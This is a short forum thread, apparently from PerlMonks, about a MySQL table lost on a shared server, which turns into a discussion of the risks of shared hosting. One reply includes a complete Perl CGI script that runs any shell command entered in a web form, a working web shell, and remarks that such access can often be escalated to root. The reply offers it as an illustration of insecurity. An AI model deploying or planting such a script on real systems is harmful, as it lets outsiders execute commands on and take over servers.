in reply to Re: OT: complete loss of a new table
in thread OT: complete loss of a new table

Thanks, tachyon :)

You or someone else DROPed or RENAMEd the table? You USEd the wrong database?
Very unlikely as I'm the only one with access to the database.

The database is hosted on another server. I am not quite sure if I can access that server to look at the database's directory. The server that's hosting the site ia shared server.

I've since re-created the table and gone through basically the same steps as I did before. There's no problem the second round.

But I'm puzzled what happened on my first attempt.

Replies are listed 'Best First'.
Re^3: OT: complete loss of a new table
by tachyon (Chancellor) on Oct 08, 2004 at 03:55 UTC

    So just let me get this straight ;-) According to you:

    1. You think you are the only one with access to the database.
    2. The database is on another server
    3. It is a shared server
    4. You apparently don't have root on that server

    Kneel before me, for I am ROOT, and your data is mine to behold

    cheers

    tachyon

      Hm...so are you suggesting using a shared server is bad? Since whoever owns the server ownz you?

        You need to trust whoever has root on a shared server not to read your mail or any other files and to keep the box itself secure. The problem is that users of shared servers want to do insecure stuff like write their own CGI scripts. For example install this script. Try ls, then ls .. then ls -al ../../../. You can run generally run any command you want as the webserver user which can generally be escalated to root the box, if you were so inclined.

        #!/usr/bin/perl $|++; use CGI qw( :standard ); use CGI::Carp qw( fatalsToBrowser ); my $command = param('command'); print header, start_form({ -method=>'get' }), textfield({-size=>75,-na +me=>'command'}), submit('Run'), end_form; if ($command) { open( CMD, "$command 2>&1|" ) or die "$!: running command: '$command +'"; print "<pre>"; print escapeHTML($_,1) while<CMD>; print "</pre>\n", end_html; close CMD; }

        cheers

        tachyon